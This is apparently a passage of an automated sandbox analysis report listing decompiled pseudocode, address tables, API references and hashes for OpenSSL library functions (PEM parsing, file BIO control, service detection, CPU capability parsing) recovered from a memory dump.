                                                                0x00000000
                                                                0x00acb361
                                                                0x00acb36d
                                                                0x00acb372
                                                                0x00acb377
                                                                0x00000000
                                                                0x00acb37d
                                                                0x00acb37d
                                                                0x00acb382
                                                                0x00acb38b
                                                                0x00acb38e
                                                                0x00acb38f
                                                                0x00acb394
                                                                0x00acb395
                                                                0x00acb396
                                                                0x00acb397
                                                                0x00acb39c
                                                                0x00acb3a1
                                                                0x00acb3c2
                                                                0x00acb3c7
                                                                0x00acb3cc
                                                                0x00acb3e3
                                                                0x00acb3e7
                                                                0x00acb3eb
                                                                0x00000000
                                                                0x00acb3f1
                                                                0x00acb3f9
                                                                0x00acb402
                                                                0x00acb40b
                                                                0x00acb414
                                                                0x00acb419
                                                                0x00acb41b
                                                                0x00acb41f
                                                                0x00acb425
                                                                0x00acb427
                                                                0x00acb42c
                                                                0x00acb431
                                                                0x00acb437
                                                                0x00acb43c
                                                                0x00acb441
                                                                0x00acb447
                                                                0x00acb451
                                                                0x00acb456
                                                                0x00acb459
                                                                0x00acb459
                                                                0x00acb3ce
                                                                0x00acb3ce
                                                                0x00acb3d3
                                                                0x00acb3d8
                                                                0x00000000
                                                                0x00acb3d8
                                                                0x00acb3a3
                                                                0x00acb3a3
                                                                0x00acb3a8
                                                                0x00acb3ad
                                                                0x00000000
                                                                0x00acb3ad
                                                                0x00acb3a1
                                                                0x00acb377
                                                                0x00acb35b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb29a
                                                                0x00acb269
                                                                0x00000000
                                                                0x00acb29c
                                                                0x00acb2a0
                                                                0x00acb2a1
                                                                0x00acb2a7
                                                                0x00acb2a9
                                                                0x00acb2ac
                                                                0x00acb2b4
                                                                0x00acb202
                                                                0x00000000
                                                                0x00acb1cb
                                                                0x00acb1cb
                                                                0x00acb1d0
                                                                0x00acb1d5
                                                                0x00000000
                                                                0x00acb1d5
                                                                0x00acb106
                                                                0x00acb106
                                                                0x00acb106
                                                                0x00acb10d
                                                                0x00acb110
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb110
                                                                0x00acb112
                                                                0x00acb113
                                                                0x00acb118
                                                                0x00acb119
                                                                0x00acb122
                                                                0x00000000
                                                                0x00acb128
                                                                0x00acb128
                                                                0x00acb12c
                                                                0x00acb132
                                                                0x00acb137
                                                                0x00acb13c
                                                                0x00acb198
                                                                0x00acb19d
                                                                0x00acb1a2
                                                                0x00000000
                                                                0x00acb13e
                                                                0x00acb14a
                                                                0x00acb14f
                                                                0x00acb154
                                                                0x00acb1a9
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb154
                                                                0x00acb13c
                                                                0x00000000
                                                                0x00acb156
                                                                0x00acb166
                                                                0x00acb17e
                                                                0x00acb182
                                                                0x00acb189
                                                                0x00acb18b
                                                                0x00acb18e
                                                                0x00000000
                                                                0x00acb196
                                                                0x00acb0d3
                                                                0x00acb0d3
                                                                0x00acb0d8
                                                                0x00acb0dd
                                                                0x00000000
                                                                0x00acb0dd
                                                                0x00acb091
                                                                0x00acb091
                                                                0x00acb096
                                                                0x00acb09b
                                                                0x00acb46c
                                                                0x00acb46c
                                                                0x00acb46e
                                                                0x00acb470
                                                                0x00acb475
                                                                0x00000000
                                                                0x00acb475
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00acb056
                                                                0x00000000
                                                                0x00acb058
                                                                0x00acb05d
                                                                0x00acb063
                                                                0x00acb068
                                                                0x00acb06b
                                                                0x00000000
                                                                0x00acb000
                                                                0x00acaffe
                                                                0x00acb4a5
                                                                0x00acb4ac
                                                                0x00acb4ad
                                                                0x00acb4bd
                                                                0x00acaf78
                                                                0x00acaf88
                                                                0x00acafa8
                                                                0x00acafa8

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _strncmp
                                                                • String ID: $-----$-----BEGIN $-----END $crypto\pem\pem_lib.c
                                                                • API String ID: 909875538-1286483939
                                                                • Opcode ID: 14dd9848b882cd45d875e7629f599827e6bd59d1c398274a1f4af8e789b188a3
                                                                • Instruction ID: ba1d2455fcf1b7c012e76a6f1334f8c94a08e5267895ccfdd333370be310077a
                                                                • Opcode Fuzzy Hash: 14dd9848b882cd45d875e7629f599827e6bd59d1c398274a1f4af8e789b188a3
                                                                • Instruction Fuzzy Hash: 7CF1F675648341AFD320EF24CD82FAFB7E8AB95704F05491CFA8597252E772E904C7A2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 73%
                                                                			E00AC9310(char _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
                                                                				intOrPtr _t43;
                                                                				void* _t48;
                                                                
                                                                				_t43 =  *((intOrPtr*)(_a4 + 0x20));
                                                                				_t48 = _a8 - 1;
                                                                				if(_t48 > 0x84) {
                                                                					L28:
                                                                					goto L29;
                                                                				} else {
                                                                					switch( *((intOrPtr*)(( *(_t48 + 0xac9580) & 0x000000ff) * 4 +  &M00AC9554))) {
                                                                						case 0:
                                                                							_push(0);
                                                                							_push(_a12);
                                                                							_push(_t43);
                                                                							return E00B8D6BA(_t46, _a12, _t51, _t52, _t58);
                                                                							goto L37;
                                                                						case 1:
                                                                							__eax = E00B8CFB9(__eax);
                                                                							__ebp = __eax;
                                                                							return __eax;
                                                                							goto L37;
                                                                						case 2:
                                                                							_push(__eax);
                                                                							__eax = E00B8D5C2(__ebx, __edx, __edi, __esi, __eflags);
                                                                							__esp = __esp + 4;
                                                                							__ebp = __eax;
                                                                							return __eax;
                                                                							goto L37;
                                                                						case 3:
                                                                							__ebp =  *(__esi + 0x10);
                                                                							__eax =  *(__esi + 0x10);
                                                                							return  *(__esi + 0x10);
                                                                							goto L37;
                                                                						case 4:
                                                                							__edx = _a12;
                                                                							 *(__esi + 0x10) = _a12;
                                                                							__eax = __ebp;
                                                                							return __ebp;
                                                                							goto L37;
                                                                						case 5:
                                                                							_push(__eax);
                                                                							__eax = E00B8D1AB(__ebx, __edx, __edi, __esi, __eflags);
                                                                							__esp = __esp + 4;
                                                                							__eax = __ebp;
                                                                							return __ebp;
                                                                							goto L37;
                                                                						case 6:
                                                                							L29:
                                                                							return 0;
                                                                							goto L37;
                                                                						case 7:
                                                                							__eax = E00AC9210(__esi);
                                                                							__ebx = _a12;
                                                                							__ebx = __ebx & 0x00000001;
                                                                							 *(__esi + 0x10) = __ebx & 0x00000001;
                                                                							__eax = _a16;
                                                                							 *(__esi + 0x20) = _a16;
                                                                							 *(__esi + 0xc) = 1;
                                                                							__eax = E00B8D3F3(_a16);
                                                                							__eflags = __bl & 0x00000010;
                                                                							if(__eflags == 0) {
                                                                								_push(0x8000);
                                                                								_push(__eax);
                                                                								__eax = E00B8D2FC(__ebx, __edx, __edi, __esi, __eflags);
                                                                								__esp = __esp + 8;
                                                                								__eax = __ebp;
                                                                								return __ebp;
                                                                							} else {
                                                                								_push(0x4000);
                                                                								_push(__eax);
                                                                								__eax = E00B8D2FC(__ebx, __edx, __edi, __esi, __eflags);
                                                                								__esp = __esp + 8;
                                                                								__eax = __ebp;
                                                                								return __ebp;
                                                                							}
                                                                							goto L37;
                                                                						case 8:
                                                                							__ecx = _a16;
                                                                							__eflags = __ecx;
                                                                							if(__ecx == 0) {
                                                                								goto L29;
                                                                							} else {
                                                                								 *__ecx = __eax;
                                                                								__eax = __ebp;
                                                                								return __ebp;
                                                                							}
                                                                							goto L37;
                                                                						case 9:
                                                                							__eax = E00AC9210(__esi);
                                                                							__ebx = _a12;
                                                                							__ebx = __ebx & 0x00000001;
                                                                							 *(__esi + 0x10) = __ebx & 0x00000001;
                                                                							__eflags = __bl & 0x00000008;
                                                                							if((__bl & 0x00000008) == 0) {
                                                                								__eax = __ebx;
                                                                								__eax = __ebx & 0x00000002;
                                                                								__eflags = __eax;
                                                                								if(__eax == 0) {
                                                                									__eflags = __bl & 0x00000004;
                                                                									if((__bl & 0x00000004) == 0) {
                                                                										goto L17;
                                                                									} else {
                                                                										_push(4);
                                                                										_push("w");
                                                                										__edx =  &_a4;
                                                                										_push( &_a4);
                                                                										goto L20;
                                                                									}
                                                                								} else {
                                                                									__eflags = __bl & 0x00000004;
                                                                									if((__bl & 0x00000004) == 0) {
                                                                										L17:
                                                                										__eflags = __eax;
                                                                										if(__eax == 0) {
                                                                											__eax = E00AB8310(__edi, 0x20, 0x74, 0x65, "crypto\\bio\\bss_file.c", 0x113);
                                                                											__ebp = 0;
                                                                											__eflags = 0;
                                                                											__eax = 0;
                                                                											return 0;
                                                                										} else {
                                                                											_push(4);
                                                                											_push("r");
                                                                											goto L19;
                                                                										}
                                                                									} else {
                                                                										_push(4);
                                                                										_push("r+");
                                                                										__ecx =  &_a4;
                                                                										_push( &_a4);
                                                                										goto L20;
                                                                									}
                                                                								}
                                                                							} else {
                                                                								_push(4);
                                                                								__eflags = __bl & 0x00000002;
                                                                								if((__bl & 0x00000002) == 0) {
                                                                									_push("a");
                                                                									L19:
                                                                									__eax =  &_a4;
                                                                									_push( &_a4);
                                                                								} else {
                                                                									_push("a+");
                                                                									__edx =  &_a4;
                                                                									_push( &_a4);
                                                                								}
                                                                								L20:
                                                                								__eax = E00AD4880();
                                                                								__edi =  &_a4;
                                                                								__esp = __esp + 0xc;
                                                                								__edi =  &_a4 - 1;
                                                                								__eflags = __bl & 0x00000010;
                                                                								if((__bl & 0x00000010) != 0) {
                                                                									do {
                                                                										__al =  *(__edi + 1);
                                                                										__edi = __edi + 1;
                                                                										__eflags = __al;
                                                                									} while (__al != 0);
                                                                									__dx = "t"; // 0x74
                                                                									 *__edi = __dx;
                                                                								} else {
                                                                									do {
                                                                										__al =  *(__edi + 1);
                                                                										__edi = __edi + 1;
                                                                										__eflags = __al;
                                                                									} while (__al != 0);
                                                                									__cx = "b"; // 0x62
                                                                									 *__edi = __cx;
                                                                								}
                                                                								__edi = _a16;
                                                                								__eax =  &_a4;
                                                                								__eax = E00ADB600(__edi,  &_a4);
                                                                								__eflags = __eax;
                                                                								if(__eax != 0) {
                                                                									 *(__esi + 0x20) = __eax;
                                                                									 *(__esi + 0xc) = __ebp;
                                                                									E00AB5010(__esi, 0) = __ebp;
                                                                									return __ebp;
                                                                								} else {
                                                                									GetLastError() = E00AB8310(__edi, 2, __ebp, __eax, "crypto\\bio\\bss_file.c", 0x11f);
                                                                									_push("\')");
                                                                									__ecx =  &_a4;
                                                                									_push( &_a4);
                                                                									_push("\',\'");
                                                                									_push(__edi);
                                                                									E00AB8610(5, "fopen(\'") = E00AB8310(__edi, 0x20, 0x74, 2, "crypto\\bio\\bss_file.c", 0x121);
                                                                									goto L28;
                                                                								}
                                                                							}
                                                                							goto L37;
                                                                						case 0xa:
                                                                							goto L28;
                                                                					}
                                                                				}
                                                                				L37:
                                                                			}





                                                                0x00ac931b
                                                                0x00ac931e
                                                                0x00ac932b
                                                                0x00ac94d9
                                                                0x00000000
                                                                0x00ac9331
                                                                0x00ac9338
                                                                0x00000000
                                                                0x00ac9343
                                                                0x00ac9345
                                                                0x00ac9346
                                                                0x00ac9355
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9357
                                                                0x00ac9361
                                                                0x00ac9365
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9366
                                                                0x00ac9367
                                                                0x00ac936c
                                                                0x00ac9371
                                                                0x00ac9375
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac952c
                                                                0x00ac9531
                                                                0x00ac9535
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9536
                                                                0x00ac953b
                                                                0x00ac953f
                                                                0x00ac9543
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9544
                                                                0x00ac9545
                                                                0x00ac954a
                                                                0x00ac954f
                                                                0x00ac9553
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac94dd
                                                                0x00ac94e1
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9377
                                                                0x00ac937c
                                                                0x00ac9382
                                                                0x00ac9384
                                                                0x00ac9387
                                                                0x00ac938c
                                                                0x00ac938f
                                                                0x00ac9392
                                                                0x00ac939a
                                                                0x00ac939d
                                                                0x00ac93b4
                                                                0x00ac93b9
                                                                0x00ac93ba
                                                                0x00ac93bf
                                                                0x00ac93c4
                                                                0x00ac93c8
                                                                0x00ac939f
                                                                0x00ac939f
                                                                0x00ac93a4
                                                                0x00ac93a5
                                                                0x00ac93aa
                                                                0x00ac93af
                                                                0x00ac93b3
                                                                0x00ac93b3
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac951b
                                                                0x00ac951f
                                                                0x00ac9521
                                                                0x00000000
                                                                0x00ac9525
                                                                0x00ac9525
                                                                0x00ac9527
                                                                0x00ac952b
                                                                0x00ac952b
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac93ca
                                                                0x00ac93cf
                                                                0x00ac93d5
                                                                0x00ac93da
                                                                0x00ac93dd
                                                                0x00ac93e0
                                                                0x00ac93fc
                                                                0x00ac93fe
                                                                0x00ac93fe
                                                                0x00ac9401
                                                                0x00ac9416
                                                                0x00ac9419
                                                                0x00000000
                                                                0x00ac941b
                                                                0x00ac941b
                                                                0x00ac941d
                                                                0x00ac9422
                                                                0x00ac9426
                                                                0x00000000
                                                                0x00ac9426
                                                                0x00ac9403
                                                                0x00ac9403
                                                                0x00ac9406
                                                                0x00ac9429
                                                                0x00ac9429
                                                                0x00ac942b
                                                                0x00ac950a
                                                                0x00ac9513
                                                                0x00ac9513
                                                                0x00ac9516
                                                                0x00ac951a
                                                                0x00ac9431
                                                                0x00ac9431
                                                                0x00ac9433
                                                                0x00000000
                                                                0x00ac9433
                                                                0x00ac9408
                                                                0x00ac9408
                                                                0x00ac940a
                                                                0x00ac940f
                                                                0x00ac9413
                                                                0x00000000
                                                                0x00ac9413
                                                                0x00ac9406
                                                                0x00ac93e2
                                                                0x00ac93e2
                                                                0x00ac93e4
                                                                0x00ac93e7
                                                                0x00ac93f5
                                                                0x00ac9438
                                                                0x00ac9438
                                                                0x00ac943c
                                                                0x00ac93e9
                                                                0x00ac93e9
                                                                0x00ac93ee
                                                                0x00ac93f2
                                                                0x00ac93f2
                                                                0x00ac943d
                                                                0x00ac943d
                                                                0x00ac9442
                                                                0x00ac9446
                                                                0x00ac9449
                                                                0x00ac944a
                                                                0x00ac944d
                                                                0x00ac9464
                                                                0x00ac9464
                                                                0x00ac9467
                                                                0x00ac9468
                                                                0x00ac9468
                                                                0x00ac946c
                                                                0x00ac9473
                                                                0x00ac9450
                                                                0x00ac9450
                                                                0x00ac9450
                                                                0x00ac9453
                                                                0x00ac9454
                                                                0x00ac9454
                                                                0x00ac9458
                                                                0x00ac945f
                                                                0x00ac945f
                                                                0x00ac9476
                                                                0x00ac947a
                                                                0x00ac9480
                                                                0x00ac9488
                                                                0x00ac948a
                                                                0x00ac94e5
                                                                0x00ac94e8
                                                                0x00ac94f5
                                                                0x00ac94f9
                                                                0x00ac948c
                                                                0x00ac94a0
                                                                0x00ac94a5
                                                                0x00ac94aa
                                                                0x00ac94ae
                                                                0x00ac94af
                                                                0x00ac94b4
                                                                0x00ac94d1
                                                                0x00000000
                                                                0x00ac94d6
                                                                0x00ac948a
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac9338
                                                                0x00000000

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ErrorLast__fileno__setmode_feof_fseek_ftell
                                                                • String ID: ','$crypto\bio\bss_file.c$fopen('
                                                                • API String ID: 3205040420-2653154188
                                                                • Opcode ID: 5eabd567c21d588923e6b2fd999c2592bff396f43a33bc1ed4d784c46324eac2
                                                                • Instruction ID: 0e858a2246a8c93b42fd28a038be52609fdb79b8ef6380d5790a32f50111d8c4
                                                                • Opcode Fuzzy Hash: 5eabd567c21d588923e6b2fd999c2592bff396f43a33bc1ed4d784c46324eac2
                                                                • Instruction Fuzzy Hash: DF517BB27853045BD610AF5CAC47FE7B3D8EB85722F0049BFF68496281EBA294099361
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 74%
                                                                			E00AC78F0() {
                                                                				signed int _v8;
                                                                				long _v12;
                                                                				void* _v24;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t20;
                                                                				WCHAR* _t22;
                                                                				unsigned int _t31;
                                                                				signed int _t33;
                                                                				struct HINSTANCE__* _t39;
                                                                				void* _t40;
                                                                				void* _t41;
                                                                				void* _t49;
                                                                				void* _t51;
                                                                				long _t52;
                                                                				signed int _t54;
                                                                				void* _t55;
                                                                
                                                                				E00B8BB10(8);
                                                                				_t20 =  *0xbe5970; // 0xe6e1d076
                                                                				_v8 = _t20 ^ _t54;
                                                                				_t22 =  *0xbe8b0c; // 0x0
                                                                				if(_t22 != 0) {
                                                                					L12:
                                                                					if(_t22 == 0xffffffff) {
                                                                						goto L6;
                                                                					} else {
                                                                						return E00B89C26( *_t22(), _t40, _v8 ^ _t54, _t49, _t51, _t52);
                                                                					}
                                                                				} else {
                                                                					_t39 = GetModuleHandleW(_t22);
                                                                					if(_t39 == 0) {
                                                                						_t22 =  *0xbe8b0c; // 0x0
                                                                					} else {
                                                                						_t22 = GetProcAddress(_t39, "_OPENSSL_isservice");
                                                                						 *0xbe8b0c = _t22;
                                                                					}
                                                                					if(_t22 != 0) {
                                                                						goto L12;
                                                                					} else {
                                                                						 *0xbe8b0c = 0xffffffff;
                                                                						L6:
                                                                						_t41 = GetProcessWindowStation();
                                                                						if(_t41 == 0 || GetUserObjectInformationW(_t41, 2, 0, 0,  &_v12) != 0 || GetLastError() != 0x7a) {
                                                                							L14:
                                                                							return E00B89C26(_t23 | 0xffffffff, _t41, _v8 ^ _t54, _t49, _t51, _t52);
                                                                						} else {
                                                                							_t23 = _v12;
                                                                							if(_t23 > 0x200) {
                                                                								goto L14;
                                                                							} else {
                                                                								_t52 = _t23 + 0x00000001 & 0xfffffffe;
                                                                								_v12 = _t52;
                                                                								E00B8C610(_t52 + 2);
                                                                								_t51 = _t55;
                                                                								if(GetUserObjectInformationW(_t41, 2, _t51, _t52,  &_v12) == 0) {
                                                                									goto L14;
                                                                								} else {
                                                                									_t31 = _v12 + 0x00000001 & 0xfffffffe;
                                                                									_v12 = _t31;
                                                                									 *((short*)(_t51 + (_t31 >> 1) * 2)) = 0;
                                                                									_t33 = E00B8C5AB(_t51, L"Service-0x");
                                                                									asm("sbb eax, eax");
                                                                									return E00B89C26( ~( ~_t33), _t41, _v8 ^ _t54, 0, _t51, _t52);
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                				}
                                                                			}





















                                                                0x00ac78f8
                                                                0x00ac78fd
                                                                0x00ac7904
                                                                0x00ac7907
                                                                0x00ac7911
                                                                0x00ac79ee
                                                                0x00ac79f1
                                                                0x00000000
                                                                0x00ac79f7
                                                                0x00ac7a0c
                                                                0x00ac7a0c
                                                                0x00ac7917
                                                                0x00ac7918
                                                                0x00ac7920
                                                                0x00ac7935
                                                                0x00ac7922
                                                                0x00ac7928
                                                                0x00ac792e
                                                                0x00ac792e
                                                                0x00ac793c
                                                                0x00000000
                                                                0x00ac7942
                                                                0x00ac7942
                                                                0x00ac794c
                                                                0x00ac7952
                                                                0x00ac7956
                                                                0x00ac7a0d
                                                                0x00ac7a23
                                                                0x00ac7984
                                                                0x00ac7984
                                                                0x00ac798c
                                                                0x00000000
                                                                0x00ac798e
                                                                0x00ac7991
                                                                0x00ac7997
                                                                0x00ac799a
                                                                0x00ac799f
                                                                0x00ac79b2
                                                                0x00000000
                                                                0x00ac79b4
                                                                0x00ac79b8
                                                                0x00ac79bb
                                                                0x00ac79c8
                                                                0x00ac79cc
                                                                0x00ac79d6
                                                                0x00ac79ed
                                                                0x00ac79ed
                                                                0x00ac79b2
                                                                0x00ac798c
                                                                0x00ac7956
                                                                0x00ac793c

                                                                APIs
                                                                • GetModuleHandleW.KERNEL32(00000000,?,?,?,?,00AC7B90,?,?,?,?,?,?,?,00000000,00000001), ref: 00AC7918
                                                                • GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 00AC7928
                                                                • GetProcessWindowStation.USER32(?,?,?,?,00AC7B90,?,?,?,?,?,?,?,00000000,00000001), ref: 00AC794C
                                                                • GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,?,?,00AC7B90,?,?,?,?), ref: 00AC7967
                                                                • GetLastError.KERNEL32(?,?,?,00AC7B90,?,?,?,?,?,?,?,00000000,00000001), ref: 00AC7975
                                                                • GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,?,?,00AC7B90,?,?,?,?), ref: 00AC79AA
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindow
                                                                • String ID: Service-0x$_OPENSSL_isservice
                                                                • API String ID: 1944374717-1672312481
                                                                • Opcode ID: bd12d451a40a5e49388f578b63c7922c91f8bd0c68f0975417a1f6cf3b0cf7f7
                                                                • Instruction ID: 7408d6b128f306f18b6d5d9d70198d27642943c8072607b808fb041048771041
                                                                • Opcode Fuzzy Hash: bd12d451a40a5e49388f578b63c7922c91f8bd0c68f0975417a1f6cf3b0cf7f7
                                                                • Instruction Fuzzy Hash: C931C8716002099BDB10EFB9EC86FAEB7A8EB45361F500669F916D71D0EF309D04CB60
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 91%
                                                                			E00AC77C0(void* __ebx, signed int __edx, void* __edi, void* __ebp, signed int _a4) {
                                                                				signed int _v0;
                                                                				void* __esi;
                                                                				signed int _t17;
                                                                				signed int _t19;
                                                                				void* _t22;
                                                                				void* _t23;
                                                                				signed int _t26;
                                                                				signed int _t28;
                                                                				signed int _t29;
                                                                				signed int _t30;
                                                                				signed int _t38;
                                                                				signed int _t42;
                                                                				void* _t46;
                                                                				char* _t47;
                                                                				signed int _t49;
                                                                				void* _t51;
                                                                				void* _t53;
                                                                				void* _t54;
                                                                
                                                                				_t38 = __edx;
                                                                				_t17 = E00B8BB10(8);
                                                                				_t55 =  *0xbe8b04;
                                                                				if( *0xbe8b04 != 0) {
                                                                					L14:
                                                                					return _t17;
                                                                				}
                                                                				_push(_t46);
                                                                				_push("OPENSSL_ia32cap");
                                                                				 *0xbe8b04 = 1;
                                                                				_t47 = E00B8B0AD(__ebx, __edx, __edi, _t46, _t55);
                                                                				_t53 = _t51 + 4;
                                                                				if(_t47 == 0) {
                                                                					_t19 = E00AC3680(0xdec6d0);
                                                                					_t51 = _t53 + 4;
                                                                					_a4 = _t38;
                                                                					L13:
                                                                					_t17 = _t19 | 0x00000400;
                                                                					 *0xdec6d0 = _t17;
                                                                					 *0xdec6d4 = _a4;
                                                                					goto L14;
                                                                				}
                                                                				_push(__ebx);
                                                                				_push(__edi);
                                                                				_t42 = 0 |  *_t47 == 0x0000007e;
                                                                				_t32 = _t42 + _t47;
                                                                				_t22 = E00B8C589(_t42 + _t47, "%I64i",  &_v0);
                                                                				_t54 = _t53 + 0xc;
                                                                				if(_t22 == 0) {
                                                                					_t30 = E00B8C4F3(_t32, _t22, _t22);
                                                                					_t54 = _t54 + 0xc;
                                                                					_v0 = _t30;
                                                                					_a4 = 0;
                                                                				}
                                                                				if(_t42 == 0) {
                                                                					__eflags =  *_t47 - 0x3a;
                                                                					if( *_t47 != 0x3a) {
                                                                						goto L9;
                                                                					}
                                                                					_t28 = E00AC3680(0xdec6d0);
                                                                					_t54 = _t54 + 4;
                                                                					goto L8;
                                                                				} else {
                                                                					_t29 = E00AC3680(0xdec6d0);
                                                                					_t54 = _t54 + 4;
                                                                					_t28 = _t29 &  !_v0;
                                                                					_t38 = _t38 &  !_a4;
                                                                					L8:
                                                                					_a4 = _t38;
                                                                					_v0 = _t28;
                                                                					L9:
                                                                					 *0xdec6d8 = 0;
                                                                					_t23 = E00B8BFC0(_t47, 0x3a);
                                                                					_t51 = _t54 + 8;
                                                                					if(_t23 != 0) {
                                                                						_t49 = 0 |  *((char*)(_t23 + 1)) == 0x0000007e;
                                                                						_t26 = E00B8C4F3(_t23 + 1 + _t49, 0, 0);
                                                                						_t51 = _t51 + 0xc;
                                                                						if(_t49 == 0) {
                                                                							 *0xdec6d8 = _t26;
                                                                						} else {
                                                                							 *0xdec6d8 =  *0xdec6d8 &  !_t26;
                                                                						}
                                                                					}
                                                                					_t19 = _v0;
                                                                					goto L13;
                                                                				}
                                                                			}





















                                                                0x00ac77c0
                                                                0x00ac77c5
                                                                0x00ac77ca
                                                                0x00ac77d1
                                                                0x00ac78cd
                                                                0x00ac78d0
                                                                0x00ac78d0
                                                                0x00ac77d7
                                                                0x00ac77d8
                                                                0x00ac77dd
                                                                0x00ac77ec
                                                                0x00ac77ee
                                                                0x00ac77f3
                                                                0x00ac78dd
                                                                0x00ac78e2
                                                                0x00ac78e5
                                                                0x00ac78b8
                                                                0x00ac78bc
                                                                0x00ac78c1
                                                                0x00ac78c6
                                                                0x00000000
                                                                0x00ac78cc
                                                                0x00ac77fe
                                                                0x00ac7802
                                                                0x00ac780d
                                                                0x00ac780f
                                                                0x00ac7813
                                                                0x00ac7818
                                                                0x00ac781d
                                                                0x00ac7822
                                                                0x00ac7827
                                                                0x00ac782a
                                                                0x00ac782e
                                                                0x00ac782e
                                                                0x00ac7838
                                                                0x00ac7859
                                                                0x00ac785c
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac7863
                                                                0x00ac7868
                                                                0x00000000
                                                                0x00ac783a
                                                                0x00ac783f
                                                                0x00ac7850
                                                                0x00ac7853
                                                                0x00ac7855
                                                                0x00ac786b
                                                                0x00ac786b
                                                                0x00ac786f
                                                                0x00ac7873
                                                                0x00ac7876
                                                                0x00ac7880
                                                                0x00ac7885
                                                                0x00ac788c
                                                                0x00ac789b
                                                                0x00ac78a0
                                                                0x00ac78a5
                                                                0x00ac78aa
                                                                0x00ac78d1
                                                                0x00ac78ac
                                                                0x00ac78ae
                                                                0x00ac78ae
                                                                0x00ac78aa
                                                                0x00ac78b4
                                                                0x00000000
                                                                0x00ac78b4

                                                                APIs
                                                                • _getenv.LIBCMT ref: 00AC77E7
                                                                • _swscanf.LIBCMT ref: 00AC7813
                                                                  • Part of subcall function 00B8C589: _vscan_fn.LIBCMT ref: 00B8C5A0
                                                                • __wcstoui64.LIBCMT ref: 00AC7822
                                                                  • Part of subcall function 00B8C4F3: strtoxl.LIBCMT ref: 00B8C515
                                                                • __wcstoui64.LIBCMT ref: 00AC78A0
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
